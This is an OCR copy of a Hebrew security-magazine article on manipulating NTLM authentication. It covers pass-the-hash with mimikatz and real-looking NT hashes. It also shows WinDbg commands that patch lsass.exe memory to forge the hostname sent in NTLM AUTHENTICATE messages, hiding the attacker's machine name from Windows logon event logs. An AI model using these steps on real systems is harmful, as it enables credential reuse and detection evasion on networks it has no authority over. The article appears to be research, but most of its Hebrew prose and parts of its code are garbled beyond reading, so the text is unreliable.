Manipulating NTLM Authentication
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.NN20N21 wIN'Ma 11y 0N Windbg-1 IDA 1m3 niadin oy

N'7RI0YYIN NAIDNN DY TN 192.168.188.1 Naind>a DESKTOP-ETHAN2 7w nTnya WNNWX TNXN2

192.168.188.128 nain>21 DESKTOP-UCOLMO08

(NTLM) New Technology LAN Manager 21710190

:D'0VIYD N'ON' DAY NYWITYA NIR NINARNNN

JINRNNT ["21yn RIN D NYY IR NP7 - NEGOTIATE .1

.D"7n1m 0N 7w 0'na 8 7Taa nrinnn 7'onw challenge oy 2'an Nwin - CHALLENGE .2

DY ynNNwn oY 91 17w NT Hash-n niy¥nxa challenge-n nX |'oxn Nip'7n - AUTHENTICATE .3
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NEGOTIATE
Client | want to authenticate > Server

CHALLENGE

Here's a challenge : 4bcde13f44a68ca®
@

ey AUTHENTICATE

I'm pixis and here's the encrypted challenge
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HMAC_MD5 (Session key, NEGOTIATE_MESSAGE CHALLENGE_MESSAGE AUTHENTICATE_MESSAGE)
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DXV NT1,N"MWUN NLVRO91 Yy'any Challenge-7 naIwnn XInw NTLMv2 HASH-n qIm2 75m xXinw 7722

2 NN
NEGOTIATE CHALLENGE AUTHENTICATE
Challenge
AvFlags = 0x02
MIC
. J
T
MIC

2V 21IwN7 No1 .0I'N [N"7R 0101 X7 72N Drop The MIC 1nd> MIC-n X D'TYIM 0N NIY?IN DY
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PTH

2w 0'-NT Hash-a p'tn'w qim 202100 nn 011w DINTTN '019 NIYYAX NAXNNYT NXIY a¥n Y
| | ’
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Pass -2 wnnwi NRT NIYY7 722wa \WinRM 1nd pninn 7101 7171092 NXp NITAY 17'9X8 IX DMWY

:NOPNNN 72V ¥, The Hash

N¥7] D7 NPNNAN DAY 'ATR NIRYAN 792 KIN NT Hash-n DR 17 R¥N1Y WNnnwnn NN nnalm
NRMP NIKYAN 702 '0719'T QIN'w) NTAYN 7w CS-7 1aNNNY? Nan 7y 17W NINTTNN '0191 wnnwnY

.(0n%7nan"7 narmol

2 XN n'whvn NLUPON N'VITIVO NTLM NINNXNNA

[ [ntimssp

No. Time Source Destination Protocal  Length Info
23 11.586496 192.168.188.1 192.168.188.128 SMB2 22@ Session Setup Request, NTLMSSP_NEGOTIATE
25 11.768945 192.168.188.128 192.168.188.1 SMB2 481 Session Setup Response, Error: STATUS _MORE PROCESSING REQUIRED, NTLMSSP_CHALLENGE
27 11.773133 192.168.188.1 192.168.188.128 SMB2 165 iSession Setup Request, NTLMSSP AUTH, User: LAPTOP-ETHAN2\Ethan

¥ NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (BxB8888883)
> Lan Manager Response:
LMv2 Client Challenge: GOGAGBBOABBB8880
> NTLM Response: 787599a86143955ca83eBF09660631o0101000066600080..
>
> [User name: Ethan
> Host name: LAPTOP-ETHAN2
> Session Key: c259797be214f7277761b2e9cf6d3349
¥ Negotiate Flags: Bxe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Exten
Toit ties aein aaa e iiee eaas aaas = Negotiate 56: Set
Negotiate Key Exchange: Set
Negotiate 128: Set
Negotiate @x18008008: Not set
Negotiate @x88000008: Not set
Negotiate @x84800008: Not set
Negotiate Version: Set
Negotiate @x81000008: Not set
,,,,,,,, T..i iii iiei een eeen .... = lNegotiate Target Info: Set
= Request Non-NT Session: Not set
seB. iiii iiii aiii aae. .... = Negotiate 8xBB200008: Not set
........... B .ii iiii eiis aee. .... = Negotiate Identify: Not set
............ Toii wiei ween ween .... = Negotiate Extended Security: Set
- L M
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:mimikatz NIY¥NX2 NINTINN '019 NIR X'XN

47bf8039a8506cd67c524a0@3ff84bade
d2124cab9a30639bdb2062a185264475a693a5481
d2124cab%9a30639bdb20822a185264475a

7 NMy wnnwnn owi NTHASH-n NX 770w NInTtn '019 7w wTN struct 1 mimikatz nyoi

((DMMYNNY MIY? NNIR 120NY NVNYT 227 D'YUKX ,NON10N NNXYA NP'OLVN) .WTN )'70N 117 N9

fdomain:. /ntlm:47b

-» null

2 RN N'WHWUN NORON L1770 NINTTRN 0191 WNNWIW) 91017

Protocol  Length Info

SMB2 228 Session Setup Request, NTLMSSP_NEGOTIATE
SMB2 481 Session Setup Response, Error: STATUS MORE_PROCESSING REQUIRED, NTLMSSP_CHALLENGE
SMB2 677 Session Setup Request, NTLMSSP_AUTH, User: .\Tahat

NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (@x@0000883)

Lan Manager Response:
LMv2 Client Challenge: 9292002002200000
NTLM Response: dc99985af3e618d37374d4bac2c350Te0101000000000000..

Host name: LAPTOP-ETHAN2
Session Key: delc7ba9523d7cad447b88e87304bcsShd
v MNegotiate Flags: Bxe2888215, Negotiate 56,

lNegotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiste Target Info, Negotiate Extend
. = Negotiate 56: Set

= Negotiate Key Exchange: Set

= Negotiate 128: Set

= Negotiate @x10088808: Not set

= Negotiate @x@seasees: Not set

= Negotiate exe4@00800: Not set

= Negotiate Version: Set

= Negotiate @x01888008: Not set

= Negotiate Target Info: Set

= Request Nen-NT Session: Not set
= Negotiate @x@0200000: Not set

= Negotiate Identify: Not set

= Negotiate Extended Security: Set
= Target Type Share: Not set

= Target Type Server: Not set
Target Type Domain: Not set
Negotiate Always Sign: Set

.N2N U'NN7 DTN TR mimikatz > 070 79w nnka oM N9pNnn DX wnnn? 7\ava
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MN2*T 9182 NTLM Type 3 Message-2 NINNXNNN NITY 'N'Y - 7'7;0K

2V NIN9Y7 T'N* 711'02 WIN'Y D' NIRN1D,N9'PN 70N 770D, (Tunneling) 712'0n yan Nz'vn WNONN
NN 7YN7 NIXN N7y LP7 ,01a00 7y 0-ACL-I D-Firewall md nirmiiwpn nimron qipy? nan
['21 N'-Opsec NIXA DT 7V 2IWN1 DX ,NONT 7207 DXV YO N'M'0A7 DTy 0T N9 Iynn
DX NOPINN NTAYNN DAY XY MIYPNN 70 )0 NTAy )T Y¥ANN 721'0n NIyl Pl vy
DRV X"T,OINN 7W INTAY NIXT 722 RIN MIYPNN DX DTI'Y ' 728 N'N'0IA70 NTAYNN KXY 17'KD

IHostname INd qINN NN 21007 D'7D'Y NITY DY no'm"7 '> NXM ,NTLM 7w 3 210n nLPO] DM

¢ 1NN NAMDY '9 7Y X qRINN YW AWNNN DY 2N AN 12 1INWYD Security Event 1IX' N1 VNN

N0 NTAYN 7702 ' MIvEnn

Event 4624, Microsoft Windows security auditing.

General Details

Process Information:
Process |D: 0
Process Mame: -

Metweork Information:

Workstation Mame: LAPTOP-ETHAMNZ
Source Network Address: 192,708,188, 1
Source Port: B04GS

Detailed Authentication Information:
Legon Process: MtLmSsp
Authentication Package: MNTLM

NIX9N NN NTLM 21710090 7@ N109n Nt 170N 72X 719%1 n'wan NR WMoY nan 7y

JINN (AT NITYN DX JNYY7 2210w nan v LSASS wnnwn DN Winapi

NN W' MIpn wnnwn oy NINANNNA) ['ITn OW AT DX L7 DYNYWAY DITY TV N7 071!
727N NTN 17NN2A 72N ,0N'™7Y 2AIWN7 Y7 KX X7 TIVW DT 0OV DA *72IN1L,(OTW N7waw nn oy ni?op

AYnNnn DY nTY2

(SSPI) Security Support Provider Interface 'aa'7 mavjza

Security ) NINTTN NI7'aN DY PYNNNNY7 D712 DRIY DNN'YINPXRY79X INIYXARA 7wnnn XD SSPI
7w SSP-n XInw DLL D" NINTTN 21710109 75 1Ay (Support Provider/Authentication Package

SSP-2 wnnwa Kerberos 1Ay ,nNaIT? 71Ip10N9Nn MK wnnn DXV KRINE D7'aND DNIR
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,"%Windir%\System32\Wdigest.dll" SSP-2 wnnwa LDAP 112y ,"%Windir%\System32\kerberos.dll"

TV "%Windir%\System32\msv1_0.dll" SSP-2 wnnwa NTLM 11y

Security Support Provider Interface Architecture

Application NET Application
Internet
Explorer

Remote Pracedure Call NET Framework

Y Y d
Application
Layer

Security Support Provider Interface

SSPI
Layer

SSP SSP SSP SSP SSP SSP SSP

Security Support Provider Layer

12NDN 'K N2AI0 NMIXa 0''aon X790 n1n"? uol10NpP'N ISSP 2IN>'7 71> TNX ‘75w KIN QYIvnNY nn

J'0NTIV0 N7'aND (YUNYT 7d1'w Dd7wn SSP

N2'WO NI SECPKG_FUNCTION_TABLE struct-n 7w NI'Yjza19n 22 NR wnn? w' SSP 7w namnd nya

LSASS 71>* nydw 5 ,7"10 struct-7 y'avn 7apni Splsamodeinitialize n'xj119%7 LSA-n K17 SSP-n 7w

DX DA DIYN 0717101097 N2yn NNY DXYALLIY7R DRIYON D-SSP-nn TAK 7D 7w NIY71190 wnnwn?

:DN7Y UIN'MN NN 1D NN RIN X7 N2 T

Syntax

C++

SpLsaModeInitializeFn Splsamodeinitializefn;

NTSTATUS S >Fn(
[in] ULONG LsaVersion,
[out] PULONG PackageVersion,
[out] PSECPKG_FUNCTION_TABLE *ppTables,
[out] PULONG pcTables
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:DN7W NIRPZN TO DRI (NTLMSSP n'o'¥o0) SSP-n 7w NI¥7190 NX |'2an72 7'NMa

SSPI & NTLMSSP

The SSPI interface, or Security Support Provider Interface, is an interface proposed by Microsoft to standardize
authentication, regardless of the type of authentication used. Different packages can connect to this interface to
handle different types of authentication.

In our case, it is the NTLMSSP package (NTLM Security Support Provider) that interests us, but there is also a package
for Kerberos authentication, for example.

Without going into details, the SSPI interface provides several functions,
including AcquireCredentialsHandle, InitializeSecurityContext and AcceptSecurityContext.

During NTLM authentication, both the client and the server will use these functions. The steps are only briefly
described here.

1. Theclient calls AcquireCredentialsHandle in order to gain indirect access to the user credentials.

2. The client then calls InitializeSecurityContext, a function which, when called for the first time, will create a
message of type 1, thus of type NEGOTIATE. We know this because we’re interested in NTLM, but for a
programmer, it doesn’t matter what this message is. All that matters is to send it to the server.

3. The server, when receiving the message, calls the AcceptSecurityContext function. This function will then create
the type 2 message, the CHALLENGE.

4.  When receiving this message, the client will call InitializeSecurityContext again, but this time passing
the CHALLENGE as an argument. The NTLMSSP package takes care of everything to compute the response by
encrypting the challenge, and will produce the last AUTHENTICATE message.

5. Upon receiving this last message, the server also calls AcceptSecurityContext again, and the authentication
verification will be performed automatically.

2Nn0n72 7'NNA TX .0MYNN NITYN 70 D'N7W1 DY N'WHWN D09 N1MVN NIKY NRIY ,12N0
NOPON N72P NV MWD DYDY XKIP'N7 NINK X' |10 SplnitLsaModeContext n'Xj1190 7y

N'WUN nopPoON X7 NIMK NNNRENTMYN

int64  fastcall SpInitlsaModeContext(
__inte4 al,
int64 a2,
struct BYTE *a3
¥
int a4,
int a5,
int64 a6,

QWORD *a7,
inted asd,
DWORD *a9,
__inte4 ale,
struct _RTL_RES0URCE *all,
inte4 al2)
{
__inte4 v13; J/ rsi
_ inte4 v14; /f r9

IR X7 NT1HNW index 0179 LsaFunctions MINWNN "'y NIAXIMW T2 DN (1NN W'Y 27 In'WN

A'YUDY AR NTYW 'R NaNn n<?
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aIon struct ax''n nanwnnl Spinitialize N'¥197 XM LsaFunctions TR 720 SSP-nw yTI* IR

:LSA_SECPKG_FUNCTION_TABLE

The LSA_SECPKG_FUNCTION_TABLE structure contains pointers to the LSA functions that
a security package can call. The Local Security Authority (LSA) passes this structure to a security
package when it calls the package's Splnitialize function.

:NINWNN 7R NI AY711 struct-n NK IX'1 NYD

(( c;; (__fastcall *)(__int64))LsaFunctions->FreePrivateHeap)(v24);
((.:;5 (__fastcall *)(WCHAR *))LsaFunctions->FreePrivateHeap)(v267);
(( :;j (__fastcall *)(WCHAR *))LsaFunctions->FreePrivateHeap)(v263);
(( u;ﬁ (*)(void))LsaFunctions->FreePrivateHeap)();

(( :;3 (*)(void))LsaFunctions->FreePrivateHeap)();

)

((.:i?t(')(~:ia))LsaFunctions->FreePrivateHeap)();

255 )
((void (*)(void))LsaFunctions->FreePrivateHeap)();
if ( PUCHAROF_BUFFER )

NtLmFreelsaHeap (PUCHAROF_BUFFER);
if ( v2s8

((void (*)(void))LsaFunctions->FreelLsaHeap)();
if ( v23)
if (v24)

(*(void (__fastcall **)(__int64))(LsaFunctions + 392))(v24);
if ( v267 )

(*(void (__fastcall **)(WCHAR *))(LsaFunctions + 392))(v267);
if ( v268 )

(*(void (__fastcall **)(WCHAR *))(LsaFunctions + 392))(v268);
if ( v297
(*(void
if ( v287
(*(void

)
(**)(void))(LsaFunctions + 392))();
)
(
if ( v262 )
(
)
(

“*)(void))(LsaFunctions + 392))();

(*(void
if ( v2s
(*(void (**
if ( PUCHA B
NtLmFreeLsaHeap(PUCHAROF_BUFFER);
if ( v258 )
(*(void (**)(void))(LsaFunctions + 48))();
if ( 1v23)

“*)(void))(LsaFunctions + 392))();

)(void))(LsaFunctions + 392))();
BUEEER )

|'3.'7 NMIYRIN AXR7N |'2 TN X' XD won? 70X ,N'X7119N 7w n'0'0a N1an 117 W'wd Nyd

nNMYUN AN

. [ Spr/ronTvar_7oo 1y 15 5 o B oAl T on
mov [rsp+7ABh+ExtCount], rl15 ; _ int64 lea rax, [r8+8]
mov [rsp+7ABh+Ext], rax ; _ int64 mov rad, [ri2] 3 dnt
mov rax, [rbp+698h+var_6B@] mov gword ptr [rsp+7A@h+SystemTime], rax ; _ int64
mov [rbx], rsi mov rax, [rbp+698h+var_6B@]
mov rad, [ri2] 3 int mov [rsp+7ABh+var_758], r8 ; _ int64
mov [rsp+7A@h+FilenameCount], rdi ; _ int64 mov r8d, [rbp+698h+dwSize] ; int
mov [rsp+7A@h+Filename], rax ; struct _UNICODE_STRING *| |mov [rsp+7A8h+var_758], rcx ; _ int64
mov rax, [r12+8] mov rcx, [rbp+698h+var_698]
mov [rsp+7ABh+DirCount], rax ; hMem mov [rsp+7A8h+ExtCount], rdx ; _ int64
call SsprHandleFirstCall lea rdx, [rbp+69@h+var_6C@] ; int
mov rcx, qword ptr [rbp+69@h+var_6F0] mov [rsp+7ABh+Ext], rax ; _ int64
mov [rbp+69@h+var_718], eax mov rax, [rcx+8]
mov rax, [rbx] mov [rsp+7ABh+FilenameCount], rax ; Src
mov qword ptr [rbp+698h+var_6C@], rax mov eax, [rex]
jmp loc_1800@E268B mov rcx, qword ptr [rbp+698h+var_6A8] ; int
mov dword ptr [rsp+7A@h+Filename], eax ; Size
mov rax, [r12+8]
mov [rsp+7A8h+DirCount], rax ; void *
call SsprHandleChallengeMessage
mov rcx, qword ptr [rbp+69@h+var_6F0]
mov [rbp+698h+var_718], eax
jmp short loc_18@00E26B
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https://learn.microsoft.com/en-us/windows/desktop/SecGloss/s-gly
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7w N7 wnn w07 0'7210'w ninw N2 wonal SspriandleChallengeMessage Nx21197 171 haaa
ablah!
stringParam = NtLmGlobalOemComputerNameString;

stringParam = (_STRING)NtLmGlobalUnicodeComputerNameString;

2725 LABEL_8B88:
2726 Hostname = stringParam;

NTYUN X721 DNNY TINNY? 0'70'w msvl_0 7w DMy D'INWNY NIKNpP 'MY DXRA192 NIRIT TWOK
msv1_0!NtImGlobalUnicodeComputerNameString :[INNXN NINYNN Y'A¥N Nn 7V wom ,hostname-n 7w

.MNWN7? nomdn 12 197 NXPZNY NN DX OOIT XKINY |11'IN

:LSASS 7w DO LR'? VW7 NZRIVY'IN NIDAN DX A2T72 7'NN

kd> !process @ @ lsass.exe

PROCESS ffffb60f6157e080
SessionId: @ Cid: ©34c Peb: 2421577000 ParentCid: 92d4
DirBase: 01640002 ObjectTable: ffffa38055b7@e40 HandleCount: 992.
Image: lsass.exe

kd> .process /i ffffb6ef6157e080

You need to continue execution (press ‘g’ <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g

Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:

fffff803 31e0f240 cc int 3

ANIXRAIRNY 21w NIn 7y 17w windbg-7 msvl_0.dll 7w 0'71an'0n NX [VV1 NW)I

kd> .reload /i msvi_0.d1l

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

Unable to read NT module Base Name string at ©00001b6°blc176f8 - Win32 error ©n3@

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

kd> db msvi_@!NtLmGlobalUnicodeComputerNameString

00007fff 7e500d6@0 1e GO 20 90 00 00 @0 00-50 f2 4f 7e ff 7f @@ @@ .. .....P.O~....
00007fff  7e500d70 1e 9O 20 ©0 00 OO ©0 00-d0 ed 4f 7e ff 7f @@ @@ .. ....... O eine
00007fff  7e500d8@ 70 27 c3 bl b6 ©1 @0 ee-ff ff ff ffee ee ee e p'..............
00007fff 75004090 ©O© 0O 00 90 ©0 OO 90 0P-00 00 GO 00 00 ©0 00 @0 ................
00007fff 7e500da@ ©O© GO 00 O3 ©0 OO ©0 00-a4 03 00 00 00 ©0 00 @0 ................
00007 ff 7e500db0 ©O 9O 00 90 ©0 OO 90 ©0-a8 O3 90 00 00 00 00 @0 ................
00007fff 7e500dc@ ©O GO 00 9O ©0 90 90 0P-00 00 OO 00 00 ©0 00 @0 ................
00007fff  7e500dde ©0© 90 00 ©0 00 00 ©0 00-30 2b c3 bl b6 01 @@ @@ ........ o YT

kd> db msvl_@!NtLmGlobalUnicodeComputerName
00007fff 7e4ff250 44 00 45 00 53 00 4b 00-54 00 4f 00 50 @0 2d 00
00007fff 7e4ff260 55 00 43 90 30 00 4c 00-4d 00 30 00 38 00 00 00

NIN |ND'T2 V' axn KN '78Y DIpnnl UNICODE_STRING 7w struct XIN NINWNN NNAXKAY NIKYYT N1
NNKY DT DOXN NIKY? DINWNN 7w wn IR Mwa ,msv1_0!NtLmGlobalUnicodeComputerName

N'w2wn NTLM-0 nopo 2y y'own

kd> du msvi_@!NtLmGlobalUnicodeComputerName

00007fff 7e4ff250 "DESKTOP-UCOLMES"

kd> eu msvi_@!NtLmGlobalUnicodeComputerName “SHABBAT-SHALOM1"
kd> du msvl_@!NtLmGlobalUnicodeComputerName

00007fff 7e4ff250 "“SHABBAT-SHALOM1"

Manipulating NTLM Authentication
www.DigitalWhisper.co.il
9 2024 WxN29 , 158 |I'n




Technologic

[l |nﬂmssp
Ma. Time Source Destination Protocol  Length Info
286 1135.128452 192.168.188.128 192.168.188.1 HTTP 341 POST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_NEGOTIATE
287 1135.134384 192.168.188.1 192.168.188.128 HTTP 488 HTTP/1.1 481 , NTLMSSP_CHALLENGE
295 1135.21@8748 192.168.188.128 192.168.188.1 HTTP 980 iPOST /wsman?PSVersion=5.1.19841.2673 HTTP/1.1 , NTLMSSP_AUTH, Use
> User name: Tahat
> Host name: SHABBAT-SHALOML

22 NN YNYY7 DY T RN YTINN DX 2'TNRY buffer-n IR XI¥n? X1 17 "Nnw nn D InTn

.MIC-N 21¥'n y¥aNNY 1197 '11'win DR DNIWYT71 121X '9%7 Dnnwnn

niNY N7 722wa GPT 'winna wnnwnw IDA-7 'aX79 ,Geppetto-2 '"MUNNYN NT DX NIYYY 7'awa
yopn 7y DN01 ,71Taa NIYIY DY NN 0d0Y71 DN'R AYIV DYYI9NY N7 DXNNA DINWN Y
-buffer-n TNX ("7 a0 TR X7 DW) PUCHAR_BUFFER-7 n'-buffer 7w nignyn nann v 1AW Xan
- buffer-7 pnym Xinw N7 N1 L3 197 'Y 17ONnonw Hostname-n NINwn Xin 178N 0!

:MIC-7 WwIn KN D VIV Geppetto

= @xFOORRRR4A61000A164;
loc + 88;

(__int64)8BUFFER PLUS_88);3
SspContextCopyStr1ng(

(_‘“.CR:)T‘,‘ AROF_BUFFER,

(_DWORD) PUCHAROF R + 44,

(an 1gned 1nt)&H0>tnane,

(__;1 ~~)&' FFER_PLUS_88);
SspContextCopyStrlng(

else

er; {

memcpy_@(*micBuffer, PUCHAROF
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N9 NIy SsprMiCHandshakeMessages n'Xj1197 nRMj W

[P 197 wnnw 217 D'ea

NIXI'Y IT PN K'Y DX DYI9N 7 DX NN ,'Uiawn 10niuon Ina PUCHAR_BUFFER

:[2 197 Matxw A1w'NN '97 MIC-N NX

SspCoF\texthpyString(

DWORD ) PUCHAROF

ARC BU

ext + 164,
ext + 78),
ext + 38),

—

packaéeBufﬁe*Ccpy,
SbOutput):

pbOutpu H

NTSTATUS _ fastcall SsprMICHandshakeMessages(

PUCHAR pbSecret,

ULONG cbInput,
PUCHAR pbInput,

ULONG a4

HWN e

wn

()

HAR a7,

) 00 N

»
S
-

BCRYPT_HASH_HANDLE phHash; // [rsp+4gh] [rl E

bp-18h] BYR

iy

[

VI H WN = O

if ( BCryptCreateHash((BCRYPT_ALG_
__fastfail(7u);

if ( BCryptHashData(phHash, pbInput, cbInpu
__fastfail(7u);

if ( BCryptHashData(phHash, pbInputa,
__fastfail(7u);

if ( BCryptHashData(phHash, a7, cb
__fastfail(7u);

if ( pbOutput && BCryptFinishHash(phHash, pbOu
_ fastfail(7u);

return BCryptDestroyHash(phHast

HANDLE)@x91, &phHash

[y

o

t50)i<.0)

o

o

a4, @0) < 0 )

[
O o

oy

Inputa, @) < @ )

[\

tput, ©x1@u, @) < 0 )

)3

IINN NN M

» WN

,
¢
-

, 0i64, 0, pbSecre

t, ©x10u, ©) < 0 )

:break point n'xj7219n0 7y 0'w1 .MIC-N NA'MN 197 19820 IR N7 21 hook N7 NIwy? no1 ™

[0x0] msv1_0!SsprMICHandshakeMessages
0x1 msv1_0!SsprHandleChallengeMessage+0x3e85
0x2 msv1_0!SplnitLlsaModeContext+0x9%e9

Breakpoint @ hit
msvl_@!SsprMICHandshakeMessages:
0033:00007ffc efa88800 48895c2408

mov gword ptr [rsp+8],rbx

lpe SsprMICHandshakeMessages proc near
|ee

lp@ pbSecret = qword ptr -38h
lp@ cbSecret = dword ptr -30h
lpe dwFlags = dword ptr -28h
lpeé phHash = qword ptr -18h
lpe arg_© = qword ptr 8

e arg_8 = qword ptr 1@h
lp@ pbInput = qword ptr 28h
lp@ cbInput = dword ptr 30h

arg_3e qword ptr 38h
|pe pboutpu
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NIY¥NXRA NIKIPZI NIY90 N0 64 7w 1Tayna nNIkw 7721 "arg_30" qun191 Navin PR
-0 DIENANN DTN NPN2A,N'YA1I90 7Y 7RV0NN 17w 1INIX 'VAIAWN 10N190 NXY XTI 0'-__ fastcall

J1M0NN2 (1M72Vn 12N 7w yvany RSP AN MiNK 0x38

:72-87 D'Ma2 N7 WMRY MIC-0 R 7N XY TV D'TAY INIXR 'YW 19XAN NNRRAY KTIN

e L S el e T gaT o R [T IPTO [, TEA

kd> db (poi[rsp+38]) + Gx43

geeee20d cad7f282 |60 6O @0 @ GO 00 PG 0G-00 OO GO 0O 8@ 86 08 P8 | ...........cn...
08888208d" cad7f293 44 86 45 88 53 88 4b B8-54 88 Af 88 56 88 2d 8@ D.E.S.K.T.0.P.-.
geees2ed” ca47f2a8 55 90 43 90 30 8@ 4c 8e-4d 90 30 e 38 0 54 89 U.C.8.L.M.8.8.T.
geeee2e8d” ca47f2b8 61 90 68 28 61 88 74 88-44 @8 45 88 53 88 4b @@ a.h.a.t.D.E.S.K.
08888208d" cad7f2c3 54 86 4f @8 58 88 2d B88-55 88 43 88 36 88 4c 8@ T.0.P.-.U.C.8.L.
g80e8208d" cad7f2d8 4d 90 30 88 38 92 8P 69-298 90 90 80 28 28 88 88 M.B.8...........
280e8208d" cad7f2e8 80 02 80 20 20 02 80 Be-80 P2 PO 80 88 B8 4b B8 .............. K.
geees2ed” cad7f2f8 b8 c9 f4 d7 cd 2f ff 2c-b5 1b 89 f4 ab 36 €1 81 ..... fogeaen 6. .

D'TYX 0x2¢ DTN 7RVOA [rsp+38h] VODIX? WAl YD D' 1770 D'NAN 16-W NIXY? NNXRA N1

1amn

kd> db (poi[rsp+38]) + 2
00BB0265 e8bBc66C [le 90 le 00 30 00 00 00|10 00 10 00 26 1 €0 80 ................
00000265  e8bBc67c 35 82 83 o2 9a 00 61 42-00 00 60 ©f 00 0@ 2@ 8@ 5..... = B R
00000265 e8bBCc68C ©O 0O G0 ©0 0 00 00 00-00 0O 6O 60 44 00 45 00 ............ D.
00000265  e8bBc69c 53 66 4b 00 54 00 4f 00-50 00 2d 80 55 0@ 43 89 S
00000265 e8bBcbac 30 00 4c 00 4d 00 30 09-38 0O 54 00 61 00 68 60 0.
a
p

00000265  e8bBcbbc 61 00 74 00 44 80 45 00-53 00 4b 00 54 @0 4f 00
00000265 e8bAc6cc 50 80 2d 00 55 80 43 00-306 00 4c 00 4d ee 30 e 3
00000265 e8bAc6dc 38 00 00 00 00 00 0O 00-00 0O OO 00 00 006 0@ 0@ 8...............

SsprContextCopyString N'Yj72I9N TX'D pcap-n NIVXNNA ['ANY N0 ,hostname-n 71T K7 NTY NXM)

117W 19X27 VPRIVON NX NP'NYN

Offset: 118
v Host name: DESKTOP-UCeLM@8
Length: 3@
Maxlen: 3@
Offset: 128
Vv Session Key: 573e2f@5f26ef6a884a9289b7459c881
Length: 16
Maxlen: 16
20 00 Mf!lz le 00 Xx-- vl
@1 22 20 35 82 88 e2 sene . 5
3a 90 a@ 63 af 59 c9 al K:eec'Y
80 45 20 53 00 4b 00 ]-0 P DE-S'K
80 43 00 30 00 4c 00 T-0:P--- U-C-0-L
90 68 @0 61 @0 74 @@ M-©-8'T- a-h-a -t
00 4f 00 50 @0 2d 8@ D-E'S'K:- T-O-P--

NWTINN N'7'NNNn offset Xin 1'wdy offset-Nw 71 NV hostname-n 7w yaxnn nTw XM

Vv Host name: DESKTOP-UCOLM@S

Length: 3@
Maxlen: 3@
Offset: 128
54 00 4f @0 Se ee 2
4d 00 30 00 38 08 S5
=SS5 00 43 00 30 00 4 2o
2050 90 00 00 00 90 00 00
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ARY 70 NN NONX ITN NO'WN '97 ,hostname-n 7w 19XAN X¥N1 0x80 LODINAY NIKIT7 [N NNNA

9XA7 ANV DNNWNAN

SspContextCopyStrmg(

SspContextCopyStrm
(_DWORD)PU \,"—--\-_4
(D ‘Ru)r

R + ©x2C,
kunsxgned 1nt)&%cs:nan~

70X IT NO'WAY 1IDT7 2IWN) NTYUN DR NV offset [rsp+38] + 2¢ + 4-1 awnnn DW7 Wil ,Nyd
7NN 7¥ YIxane ,nvpoa DINKN D'VODIXN NX 0NNYT X7 *TD DTIPN DY? DXIN NIN2 DY QMDY

:(N722an0 7y 712ann'? 721 0DINY D'YODIX DY NA7 WTN 19X N'¥2197 NN7 110X AR

[Breakpoint @ hit

msvl_©!SsprMICHandshakeMessages:
0033:00007fff 72488800 48895c2408 mov qword ptr [rsp+8],rbx
kd> db (poi[r‘sp+38i 2c + 4

000001b6” blc672a0 00 90 00 10 00 10 00-c6 01 00 00 35 82 88 €2 .......c0... e
1b6°blc672b0 ©a 00 61 4a 00 @0 ©0 ©f-00 00 OO 00 00 00 80 €@ ..aJ............
1b6°b1c672c0 ©O 60 90 G0 00 00 ©0 00-44 00 45 90 53 00 4b €0 ........ DIESSTKT
1b6°b1c672d0 54 60 4f @0 50 00 2d ©0-55 08 43 00 30 00 4c 8@ T.0.P.-.U.C.@.L.
1b6°blc672e0 4d ©0 30 €0 38 00 54 00-61 00 68 00 61 €0 74 €@ M.0.8.T.a.h.a.t.
1b6°blc672f0 44 00 45 €0 53 00 4b 00-54 00 4f 00 50 00 2d 8@ D.E.S.K.T.0.P.-.
1b6 b1c67300 55 ©0 43 €0 30 90 4C 00-4d ©0 30 00 38 00 00 €@ U.C.0.L.M.0.8...

000001b6 " bl1c67310 ©0 60 90 00 00 O° 02 00-00 00 60 00 €6 00 PO €0 ................

kd> Eb (poi[rsp+38]) + 80
1b6 bic672f0 44 ©0 45 @0 53 00 4b 00-54 00 4f 00 56 €0 2d €@ D.E.S.K.T.0.P.-
1b6°b1c67300 55 ©0 43 €0 30 00 4c 00-4d 00 30 90 38 00 00 ee U.C.e.L.M.e.8...
1b6°b1c67310 ©0 ©0 00 00 00 O 00 0O-00 OC OO OO ©0 00 00 00 ................
1b6°b1c67320 ©O ©0 20 @0 00 00 70 f5-44 ce 51 f1 be ed aa €8 ...... P-D.Q.cces
1b6°b1c67330 ef 95 55 4f ee ©d ©1 ©01-00 60 60 00 €0 00 2b f9 ..UO.......... +.
1b6°b1c67340 49 de bb 36 da ©1 b8 3a-d3 6c ©5 93 c3 b7 e@ @0 I..6...:.1......
1b6°b1c67350 ©O 00 ©2 80 1a 00 4cC 0O-41 00 50 00 54 00 4f €0 ...... L.A.P.T.O.

000001b6 b1c67360 50 00 2d 00 45 90 54 00-438 00 41 00 4e 00 32 80 P.-.E.T.H.A.N.2.

kd> eu (poi[rsp+38]) + 80 "SHABBAT-SHALOM2"
kd> db (poi[rsp+38]) + 8@

01b6 b1c672f0 53 00 48 00 41 00 42 00-42 00 41 00 54 00 2d €0 |S.H.A.B.B
1b6°b1c67300 53 ©0 48 €0 41 00 4c 00-4f 00 4d 00 32 00 00 €0 |S.H.A.L.O. .a
1b6°b1c67310 ©O 00 20 00 00 OO OO PO-00 OO 0O 0O 00 02 80 8O ................
000001b6 b1c67320 ©O ©0 00 00 00 00 7@ f5-44 ce 51 f1 bo ©d aa €8 ...... p-D.Q.....
1b6°b1c67330 ef 95 55 4f ee ©d ©1 ©01-00 00 00 00 €0 00 2b f9 ..U0.......... +3
1b6°b1c67340 49 do bb 36 da 01 b8 3a-d3 6c ©5 93 ¢c3 b7 0@ €0 I..6...:.1l......
1b6°b1c67350 ©0© 00 ©2 00 1a 00 4c 00-41 ©0 50 00 54 00 4f €0 ...... LALP.
1b6°b1c67360 506 00 2d ©0 45 00 54 00-48 00 41 00 4e 00 32 60 P.-.E.T.H.A.N.2.
